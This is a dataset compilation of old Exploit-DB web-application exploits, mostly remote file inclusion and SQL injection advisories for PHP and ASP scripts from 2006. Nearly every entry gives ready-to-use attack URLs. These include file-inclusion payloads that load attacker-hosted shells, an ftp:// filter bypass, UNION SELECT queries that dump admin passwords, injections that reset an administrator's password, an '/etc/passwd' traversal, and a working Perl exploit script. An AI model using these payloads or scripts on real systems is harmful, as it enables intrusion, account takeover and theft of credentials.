QLWD/code_shield huggingface dataset:
标题: HSRS 1.0 - 'addcode.php' Remote File Inclusion EDB-ID: 2838 CVE: 2006-6154 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-23 漏洞利用脚本: --------------------------------------||    Viva Palestine ||-----------------------------------------
--------------------------------------||  Free Saddam Hussien ||-----------------------------------------


HSRS <= 1.0 (HIOX Star Rating System Script) (addcode.php)  Remote File
Include Vulnerability



Found By  :  CoLd Zero  [ Wasem898 ]

Source    :  include_once ($4AZHAR_TeAM."Securty.");

            require ($SpECiALPowEr.oRg_TeAm."Securty");

            A_mal Hackeing Team _ Hacking



PalesTine Arab Muslim Hacker

http://www.smileygenerator.us/smileysig2/links/918742001154432992.final.gif

######################################################
#
#            HSRS 1.0 (HIOX Star Rating System Script)
#
# Class:     Remote File Include Vulnerability
# Published  2006-11-23
# Remote:    Yes
# Type:      High
# Site:      http://www.hscripts.com/scripts/php/downloads/HSRS.zip
#
# Author:    Cold Zero
# Contact:   c.o.1.d.0@hotmail.com
#
######################################################

About :
FREE Five Star Rating System Script that can be added in any web page with
php support.
A database based script developed using php and javascript.
This give your users a chance to rate on your articles, tutorials, photos,
images or whatever you want on a scale of 1-5 stars.

==========================

file ;

addcode.php

==========================

 include "$hm/auth/config.php";

======================================================
Example:

http://www.jusmail.com/5000/HSRS/addcode.php?hm=http://www.violatorthrash.com/flyers/cold.txt?cmd

======================================================
Exploit :

Http://www.Victem.0/[PaTH]/addcode.php?hm=http://coldzero.shell?cmd


======================================================

----  GreeTz: [MoHaNdKo] [Cold ThreE] [Viper Hacker] [The Wolf KSA] [o0xxdark0o[ [OrGanza] [H@mLiT] [Snake12][Root Shell]
              [Metoovit] [Fucker_net] [Rageb][CoDeR] [HuGe][Str0ke] [Dr.TaiGaR[ [JEeN HacKer] [Nazy L!unx[


****************************************************************
# *www.4azhar.com Securty Team    >>      www.4azhar.com        *
# *SpeciaL PoweR SecuritY Team    >>      www.specialpower.org  *
# *A_mal Hacking Team             >>      -vv -l -p The-Pradise *
*****************************************************************


http://www.smileygenerator.us/smileysig2/links/918742001154432992.final.gif


--------------------------------------||    Viva Palestine ||-----------------------------------------
--------------------------------------||  Free Saddam Hussien ||-----------------------------------------

# milw0rm.com [2006-11-23] URL: https://www.exploit-db.com/exploits/2838
标题: Site News - 'centre.php' Remote File Inclusion EDB-ID: 2833 CVE: 2006-6212 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-23 漏洞利用脚本: #===================================================================================#
#
# Site News => (centre.php) $page Remote File Inclusion Exploit
#
#===================================================================================#
#
# Softname : Site News
# Url : http://dvmet.free.fr/script/site_news.zip
# Exploit type : Remote File Inclusion.
# Critical: Dangerous.
# Solution Status: Unpatched.
#
#===================================================================================#
#
# By DaDIsS - Member of the Moroccan Hackers Team
#
#===================================================================================#
#
# Exploit Explanation : 
#
#
# The flaw resides in centre.php file that contain this code :
# 
# <?
#
#   if (empty($page))
#    {
#         include("accueil.php");
#    }
#      else
#    {
#        include($page.".php");
#    }
#
# ?>
#
#===================================================================================#
#
# Example : 
#
#
# http://www.victime.com/(path)/centre.php?page=http://attacker
#
#
#================================================================#
#
# Greetz : YouYouCool, Hacker1, and all Moroccan Hackers Team, viva Morocco guyz !!
#
#===================================================================================#
#
# DaDIsS / dadiss@virtuaplanet.net
# Proud to be a Moroccan !
#
#===================================================================================#

# milw0rm.com [2006-11-23] URL: https://www.exploit-db.com/exploits/2833
标题: a-ConMan 3.2b - 'common.inc.php' Remote File Inclusion EDB-ID: 2831 CVE: 2006-6078 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-22 漏洞利用脚本: ____________________   ___ ___ ________
\_   _____/\_   ___ \ /   |   \\_____  \
 |    __)_ /    \  \//    ~    \/   |   \
 |        \\     \___\    Y    /    |    \
/_______  / \______  /\___|_  /\_______  /
        \/         \/       \/         \/                              .OR.ID
ECHO_ADV_61$2006

------------------------------------------------------------------------------
[ECHO_ADV_61$2006] a-ConMan <= v3.2beta Remote File Inclusion
------------------------------------------------------------------------------

Author  : Ahmad Maulana a.k.a Matdhule
Date Found : November, 22nd 2006
Location : Indonesia, Jakarta
web  : http://advisories.echo.or.id/adv/adv61-matdhule-2006.txt
Critical Lvl : Highly critical
Impact  : System access
Where  : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
a-ConMan (Automated Content Management)

Application : a-ConMan (Automated Content Management)
version  : 3.2beta
URL  : http://sourceforge.net/projects/a-conman

a-ConMan is a flexible database solution built to categorize and manage your image and video content. Giving you the ability to automate the building and updating for any type of content specific website within seconds. Utilizing one of the most advanced

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~

I found vulnerability at script common.inc.php

-----------------------common.inc.php----------------------
....
<?php
include_once($cm_basedir."/ez_sql.php");
include_once($cm_basedir."/pg2ezsql.php");
// include_once($cm_basedir."/functions.php");
$ver = "3.1.1228";

...
----------------------------------------------------------

Input passed to the "cm_basedir" parameter in common.inc.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

Proof Of Concept:
~~~~~~~~~~~~~~~

http://target.com/[a-conman_path]/php.incs/common.inc.php?cm_basedir=http://attacker.com/inject.txt?


Solution:
~~~~~~~
- Sanitize variable $cm_basedir on common.inc.php.

---------------------------------------------------------------------------
Shoutz:
~~~
~ solpot a.k.a chris, J4mbi  H4ck3r thx for the hacking lesson    :)   
~ y3dips,the_day,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous,str0ke
~ bius, lapets, BlueSpy, NpR, h4ntu, thama, Fungky
~ newbie_hacker@yahoogroups.com, jasakom_perjuangan@yahoogroups.com
~ Solpotcrew Comunity (#nyubicrew @ allindo.net), #e-c-h-o @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~~~~
 
     matdhule[at]gmail[dot]com
     
-------------------------------- [ EOF ]----------------------------------

# milw0rm.com [2006-11-22] URL: https://www.exploit-db.com/exploits/2831
标题: Recipes Complete Website 1.1.14 - SQL Injection EDB-ID: 2834 CVE: 2006-6220 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-23 漏洞利用脚本: *************************************************************************************************************************#
                                                                                #
                      Coding 4 Fun            # 
                                                    #
*************************************************************************************************************************#
                  #
* Recipes Complete Website 1.1.14  (http://www.easysitenetwork.com/modules.php?name=Content&pa=showpage&pid=2) ;   #
                  # 
* Class = SQL Injection ;               #
                     #
* Download = http://www.easysitenetwork.com/modules.php?name=Downloads&d_op=getit&lid=3 ;     #
                  #
* Found by = GregStar (gregstar[at]c4f[dot]pl) (http://c4f.pl) ;                 #
                    #
-------------------------------------------------------------------------------------------------------------------------#
                  #
                  #
- PoC:                         #
                  #
http://[target]/[path]/recipe.php?recipeid=-1%20UNION%20SELECT%20login,password,0,0,0,0%20FROM%20users%20/*    #
                #
-------------------------------------------------------------------------------------------------------------------------#
http://[target]/[path]/list.php?pagenum=0&categoryid=-1%20UNION%20SELECT%200,login,0,0%20FROM%20users%20/*  - login      #             
                  #
-------------------------------------------------------------------------------------------------------------------------#
http://[target]/[path]/list.php?pagenum=0&categoryid=-1%20UNION%20SELECT%200,password,0,0%20FROM%20users%20/* - password #
                #
*************************************************************************************************************************#                   
Gr33tz:  sASAn,marcel3miasto,masS,kaziq,Abi,kociaq,SlashBeast,chochlik,rfl,d3m0n,java,reyw,kw@ch.      #
                         #
*************************************************************************************************************************#

# milw0rm.com [2006-11-23] URL: https://www.exploit-db.com/exploits/2834
标题: Messagerie Locale - 'centre.php' Remote File Inclusion EDB-ID: 2832 CVE: 2006-6151 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-23 漏洞利用脚本: #===================================================================================#
#
# Messagerie Locale => (centre.php) $page Remote File Inclusion Exploit
#
#===================================================================================#
#
# Softname : Messagerie Locale
# Url : http://dvmet.free.fr/script/messagerie.zip
# Dork : inurl:indexmess.php
# Exploit type : Remote File Inclusion.
# Critical: Dangerous.
# Solution Status: Unpatched.
#
#===================================================================================#
#
# By DaDIsS - Member of the Moroccan Hackers Team
#
#===================================================================================#
#
# Exploit Explanation : 
#
#
# The flaw resides in centre.php file that contain this code :
# 
# <?
#    if(isset($_GET['page']))
#   {
#        $page=$_GET['page'];
#   }
#    else
#   {
#       $page="";
#   }
#
#    if (empty($page)||!isset($page))
#   {
#         include("accueil.php");
#   }
#    else
#   {
#        include($page.".php");
#   }
#
#  ?>
#
#===================================================================================#
#
# Example : 
#
#
# http://www.victime.com/(path)/centre.php?page=http://attacker
#
#
#================================================================#
#
# Greetz : YouYouCool, Hacker1, and all Moroccan Hackers Team, viva Morocco guyz !!
#
#===================================================================================#
#
# DaDIsS / dadiss@virtuaplanet.net
# Proud to be a Moroccan !
#
#===================================================================================#

# milw0rm.com [2006-11-23] URL: https://www.exploit-db.com/exploits/2832
标题: Seditio 1.10 - avatarselect id SQL Injection EDB-ID: 2820 CVE: 2006-6177 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-21 漏洞利用脚本: Seditio <= 1.10 Remote SQL Injection (avatarselect id) Vulnerability
Discovered by: nukedx
Contacts: ICQ: 10072 MSN/Mail: nukedx@nukedx.com web: http://www.nukedx.com
Original advisory can be found at: http://www.nukedx.com/?viewdoc=52
----
GET -> http://www.victim.com/users.php?m=profile&a=avatarselect&x=XVALUE&id=default.gif[SQL Inject]
GET -> http://www.victim.com/users.php?m=profile&a=avatarselect&x=011A99&id=default.gif%2500%2527,user_password=%2527e10adc3949ba59abbe56e057f20f883e%2527/**/where/**/user_id=1/* with this example remote attacker changes password of 1st user of Seditio to 123456 
The XVALUE is comes with your avatarselect link it's special to everyuser in Seditio.
For using this vulnerability you must be logged in to Seditio... 

# nukedx.com [2006-11-21]

# milw0rm.com [2006-11-21] URL: https://www.exploit-db.com/exploits/2820
标题: fipsGallery 1.5 - 'index1.asp' SQL Injection EDB-ID: 2829 CVE: 2006-6117 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-22 漏洞利用脚本: *******************************************************************************
# Title   :  fipsGallery <= v1.5 (index1.asp) Remote SQL Injection Vulnerability
# Author  :   ajann
# Contact :   :(
# $$$     :   29 Euro


*******************************************************************************

###http://[target]/[path]//index1.asp?what=artists&which=[SQL]

Example:

//index1.asp?what=artists&which=-1%20union%20select%200,username,password%20from%20admin

See you Admin Hash..

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-11-22] URL: https://www.exploit-db.com/exploits/2829
标题: LDU 8.x - avatarselect id SQL Injection EDB-ID: 2819 CVE: 2006-6577 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-21 漏洞利用脚本: LDU <= 8.x Remote SQL Injection (avatarselect id) Vulnerability
Discovered by: nukedx
Contacts: ICQ: 10072 MSN/Mail: nukedx@nukedx.com web: http://www.nukedx.com
Original advisory can be found at: http://www.nukedx.com/?viewdoc=51
----
GET -> http://www.victim.com/users.php?m=profile&a=avatarselect&x=XVALUE&id=default.gif[SQL Inject]
GET -> http://www.victim.com/users.php?m=profile&a=avatarselect&x=011A99&id=default.gif%2500%2527,user_password=%2527e10adc3949ba59abbe56e057f20f883e%2527/**/where/**/user_id=1/* with this example remote attacker changes password of 1st user of LDU to 123456 
The XVALUE comes with your avatarselect link it's special to everyuser in LDU.
For using this vulnerability you must be logged in to LDU... 

# nukedx.com [2006-11-21]

# milw0rm.com [2006-11-21] URL: https://www.exploit-db.com/exploits/2819
标题: FipsCMS 4.5 - 'index.asp' SQL Injection EDB-ID: 2828 CVE: 2006-6115 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-22 漏洞利用脚本: #!/usr/bin/perl
#[Script Name: fipsCMS <= v4.5 (index.asp) Remote SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(

use IO::Socket;
if(@ARGV < 3){
print "
[========================================================================
[//  fipsCMS <= v4.5 (index.asp) Remote SQL Injection Exploit
[//           Usage: exploit.pl [target] [path] [userid]
[//                   Example: exploit.pl victim.com / 1
[//                   Example: exploit.pl victim.com /path/ 1
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$dir = $ARGV[1];
$file = "index.asp?lg=1&w=forumshow&fcat=-1&fansweres=True&froot=1&fid=";
$target = "-1%20union%20select%200,0,0,0,0,adminpword,0,0,0,0,0,0%20from%20admin%20where%20adminid%20like%20".$ARGV[2];
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /\"150\" value=\"Re:(.*?)class=\"/){ 
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Password: $1\n";
exit();
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }
   
print "+ Exploit failed :(\n";
print "+**********************************************************************+\n";

# milw0rm.com [2006-11-22] URL: https://www.exploit-db.com/exploits/2828
标题: phpPC 1.04 - Multiple Remote File Inclusions EDB-ID: 2827 CVE: 2006-7136 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-21 漏洞利用脚本: phpPC 1.04 Multiples Remote File Inclusion

Script        : PHP Poll Creator
Version       : 1.04
Vendor URL    : http://www.phppc.de
Impact        : Remote File Inclusion
Discovered by : iss4m
Contact       : iss4m.1@gmail.com


Vulnerable code in poll.php
--------------------------------

<?php
if ($is_phppc_included != 1) {
    include "config.inc.php";
    $file = "lib/functions.inc.php";
    include $relativer_pfad.$file;
    include ($relativer_pfad . "layout_top.inc.php");
    $is_phppc_included = 1;
}else include $relativer_pfad . "lib/get_config.inc.php"; #<== !!!!

Exploit :
**********

http://localhost/phppc/poll.php?is_phppc_included=1&relativer_pfad=http://attacker/inject.txt?


Vulnerable code in poll.php poll_kommentar.php
-----------------------------------------------

<?php

if ($is_phppc_included != 1) {
    include "config.inc.php";
    include ($relativer_pfad . "lib/functions.inc.php");
}
$com = "phppc_kommentar";
$cookie = $cookie_name.$com.$poll_id;
$cookie_ueberwachung = ${$cookie};
if($action=='new_com') {
    if ($cookie_ueberwachung=="flood") {
        $must_not_create_com = 1;
    }else {
        $zeit = time() + 30;
        SetCookie("$cookie_name$com$poll_id","flood","$zeit","/");        
    }
}
if ($is_phppc_included != 1) {
    include "layout_top.inc.php";
    $is_phppc_included = 1;
}
include $relativer_pfad . "poll_titel_kat.inc.php";  # Here !!!!!!!!


http://localhost/phppc/poll_kommentar.php?is_phppc_included=1&relativer_pfad=http://attacker/inject.txt ?



Vulnerable code in poll_sm.php
---------------------------------

if(substr_count($relativer_pfad,"http://") >= 1 OR substr_count($relativer_pfad,"../") >= 1) $relativer_pfad = "";

if ($is_phppc_included != 1) {
    $file = "lib/functions.inc.php";
    include $relativer_pfad.$file;
}
include ($relativer_pfad . "layout_top_sm.inc.php");


the script check only if $relativer_pfad contain "http://" but we can include remote file using ftp://

Exploit :
**********

http://localhost/phppc/poll_sm.php?is_phppc_included=1&relativer_pfad=ftp://user:pass@ftp.attacker.ltd/script.txt ?

# milw0rm.com [2006-11-21] URL: https://www.exploit-db.com/exploits/2827
标题: aBitWhizzy - 'abitwhizzy.php' Information Disclosure EDB-ID: 2823 CVE: 2006-6084 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-21 漏洞利用脚本: aBitWhizzy [local file include]
vendor site: http://www.unverse.net/abitwhizzy/
product : aBitWhizzy 
bug:local file include
global risk : high


http://site.com/abitwhizzy.php?f=../../../../../../../etc/passwd


laurent gaffié & benjamin mossé
http://s-a-p.ca/
contact: saps.audit@gmail.com

# milw0rm.com [2006-11-21] URL: https://www.exploit-db.com/exploits/2823
标题: fipsForum 2.6 - 'default2.asp' SQL Injection EDB-ID: 2830 CVE: 2006-6116 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-22 漏洞利用脚本: *******************************************************************************
# Title   :  fipsForum <= v2.6 (default2.asp) Remote SQL Injection Vulnerability
# Author  :   ajann
# Contact :   :(

*******************************************************************************


###http://[target]/[path]//default2.asp?kat=[SQL]

Example:

//default2.asp?kat=-1%20union%20select%200,pw_admin%20from%20config


"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-11-22] URL: https://www.exploit-db.com/exploits/2830
标题: PHPQuickGallery 1.9 - 'textFile' Remote File Inclusion EDB-ID: 2814 CVE: 2006-6044 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-19 漏洞利用脚本: ============================================================================
+                                                                          =
+                     PhpQuickGallery  Remot File Include
+                                                                          =
+
+===========================================================================
+
+
+
+Script: phpquickgallery
+
+RisQe : Dangeureuse
+
+Type: Remot File Include
+
+File Infected : gallery_top.inc.php
+
+Credit By: Al7ejaz Hacker
+
+E-mail: saudi@hotmail.fr
+============================================================================
+
+
++++++++++++
+Exploit : +
++++++++++++
+
+http://localhost/phpquickgallery/gallery_top.inc.php?textFile=Attacker
+
+
+
+Discoverd By Al7ejaz Hacker
+
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

# milw0rm.com [2006-11-19] URL: https://www.exploit-db.com/exploits/2814
标题: Photo Cart 3.9 - 'adminprint.php' Remote File Inclusion EDB-ID: 2817 CVE: 2006-6093 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-21 漏洞利用脚本: #####################################################################################################
#
# PhotoCart 3.9 (adminprint.php) Remote File Include Vulnerability
# Script site: http://www.picturespro.com/store/programs/129-photo_cart.html
# Dork       : inurl :/PhotoCart/
#
#####################################################################################################
##
##
## Bug Found By : irvian
##
##
####################################################################################################
###
### GreetZ: jipank,kacung,trangkil,ibnusina,cah|gemblunkz,zoid
### Special greetz: #patihack #hitamputih #nyubicrew
###
#####################################################################################################

bug found on /PhotoCart/adminprint.php

include "setup.php";
$path = "$path";
$path = "$path";
include "$admin_folder/_admin_functions.php";
include "$path/_db.php";
    adminsessionCheck();


Expl: http://www.site.com/PhotoCart/adminprint.php?admin_folder=[evil_scripts]
      http://www.site.com/PhotoCart/adminprint.php?path=[evil_scripts]

# milw0rm.com [2006-11-21] URL: https://www.exploit-db.com/exploits/2817